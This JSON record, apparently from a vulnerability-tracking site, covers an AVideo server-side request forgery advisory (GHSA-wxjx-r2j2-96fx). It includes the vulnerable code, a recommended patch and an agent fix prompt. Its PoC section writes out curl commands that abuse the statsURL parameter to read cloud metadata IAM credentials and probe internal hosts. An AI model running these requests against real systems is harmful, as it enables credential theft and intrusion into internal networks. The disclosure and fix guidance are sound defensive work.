{"answers":{"affected":"2 open source packages ship an affected version, including wwbn/avideo.","exploited":"There is no known exploitation of GHSA-wxjx-r2j2-96fx in the wild and no public exploit code.","fix":"No fix has been published for GHSA-wxjx-r2j2-96fx yet. Limit exposure of the affected software until one is available.","what":"GHSA-wxjx-r2j2-96fx is a server-side request forgery vulnerability in wwbn/avideo, published on 25 Mar 2026. An attacker needs administrator access to exploit it, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-wxjx-r2j2-96fx and fix it if it is affected.\n\nWhat it is: GHSA-wxjx-r2j2-96fx is a server-side request forgery vulnerability in wwbn/avideo, published on 25 Mar 2026. An attacker needs administrator access to exploit it, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-wxjx-r2j2-96fx in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- wwbn/avideo (Packagist): affected all versions up to 26.0; no fix listed\n- wwbn/avideo (Packagist): affected all versions up to 26.0; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-wxjx-r2j2-96fx/ (Markdown: https://insights.sbomify.com/GHSA-wxjx-r2j2-96fx/index.md)","id":"GHSA-wxjx-r2j2-96fx","markdown":"https://insights.sbomify.com/GHSA-wxjx-r2j2-96fx/index.md","name":"GHSA-wxjx-r2j2-96fx","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"AVideo plugin","requires_auth":"high_privilege","summary":"An authenticated admin can exploit an unvalidated URL parameter in the Live plugin to perform Server-Side Request Forgery and read internal network or cloud metadata responses.","user_interaction":"not_required","vuln_class":"ssrf"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe `plugin/Live/test.php` endpoint accepts a URL via the `statsURL` parameter and fetches it server-side using `file_get_contents()`, `curl_exec()`, or `wget`, returning the full response content in the HTML output. The only validation is a trivial regex (`/^http/`) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides `isSSRFSafeURL()` which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.\n\n## Details\n\nThe vulnerable code path is in `plugin/Live/test.php`:\n\n**User input (line 11):**\n```php\n$statsURL = $_REQUEST['statsURL'];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    _log('this is not a URL ');\n    exit;\n}\n```\n\nThe regex `/^http/` only verifies the URL starts with \"http\" — it does not validate the host, resolve DNS, or check against private/reserved IP ranges.\n\n**Sink — file_get_contents (line 58-68):**\n```php\nif (ini_get('allow_url_fopen')) {\n    try {\n        $tmp = file_get_contents($url, false, $context);\n        _log('file_get_contents:: '.htmlentities($tmp));\n```\n\n**Sink — curl_exec (line 73-94):**\n```php\n} elseif (function_exists('curl_init')) {\n    $ch = curl_init();\n    // ...\n    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\n    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n    // ...\n    $output = curl_exec($ch);\n    // ...\n    _log('curl_init:: '.htmlentities($output));\n```\n\n**Sink — wget (line 114):**\n```php\nif (wget($url, $filename)) {\n    $result = file_get_contents($filename);\n    _log('wget:: '.htmlentities($result));\n```\n\nAll three code paths output the full response content to the user via `_log()`, which echoes to the HTML response (line 155-160).\n\nThe codebase provides `isSSRFSafeURL()` at `objects/functions.php:4025` which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported `objects/aVideoEncoder.json.php`, but `plugin/Live/test.php` does not call it.\n\nAdditionally, SSL certificate verification is disabled on both the `file_get_contents` stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.\n\nThe endpoint also lacks CSRF token validation while accepting GET requests via `$_REQUEST`, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).\n\n## PoC\n\n**Step 1: Authenticate as admin and obtain session cookie**\n```bash\n# Login to obtain PHPSESSID\nPHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' \\\n  -d 'user=admin\u0026pass=adminpass' | grep PHPSESSID | awk '{print $7}')\n```\n\n**Step 2: Read AWS cloud metadata (IAM credentials)**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/'\n```\n\nExpected output: HTML page containing the full cloud metadata response including IAM role names.\n\n**Step 3: Read IAM credentials for a specific role**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole'\n```\n\nExpected output: JSON containing `AccessKeyId`, `SecretAccessKey`, and `Token` for the IAM role.\n\n**Step 4: Scan internal services**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n  'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/'\n```\n\nExpected output: Full response from internal service at 192.168.1.1:8080.\n\n## Impact\n\nAn authenticated admin can:\n\n- **Read cloud metadata credentials:** Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration.\n- **Enumerate internal services:** Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet.\n- **Port scan internal infrastructure:** Determine which internal hosts and ports are active based on response timing and content.\n- **Bypass network segmentation:** Reach services behind firewalls that trust the AVideo server's IP address.\n\nThe full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it — compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation before fetching the URL. In `plugin/Live/test.php`, after line 15:\n\n```php\n$statsURL = $_REQUEST['statsURL'];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    _log('this is not a URL ');\n    exit;\n}\n\n// Add SSRF protection\nif (!isSSRFSafeURL($statsURL)) {\n    _log('URL failed SSRF safety check: ' . htmlentities($statsURL));\n    exit;\n}\n```\n\nAdditionally, enable SSL verification in the curl handler (lines 79-80):\n\n```php\n// Replace:\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n// With:\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);\n```\n\nAnd in the stream context (lines 45-49):\n\n```php\n// Replace:\n\"ssl\" =\u003e [\n    \"verify_peer\" =\u003e false,\n    \"verify_peer_name\" =\u003e false,\n    \"allow_self_signed\" =\u003e true,\n],\n// With:\n\"ssl\" =\u003e [\n    \"verify_peer\" =\u003e true,\n    \"verify_peer_name\" =\u003e true,\n    \"allow_self_signed\" =\u003e false,\n],\n```","ecosystems":["Packagist"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"AVideo: Full-Read SSRF Through Unvalidated statsURL Parameter in plugin/Live/test.php","id":"GHSA-wxjx-r2j2-96fx","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Packagist","product":null,"products":[],"type":"ssrf","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Packagist","fixed":[],"introduced":["0"],"last_affected":["26.0"],"package":"wwbn/avideo","purl":null,"source":"GHSA-wxjx-r2j2-96fx"},{"ecosystem":"Packagist","fixed":[],"introduced":["0"],"last_affected":["26.0"],"package":"wwbn/avideo","purl":"pkg:composer/wwbn/avideo","source":"GHSA-wxjx-r2j2-96fx"}],"products":null,"published":"2026-03-25","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An authenticated admin can exploit an unvalidated URL parameter in the Live plugin to perform Server-Side Request Forgery and read internal network or cloud metadata responses.","url":"https://insights.sbomify.com/GHSA-wxjx-r2j2-96fx/"}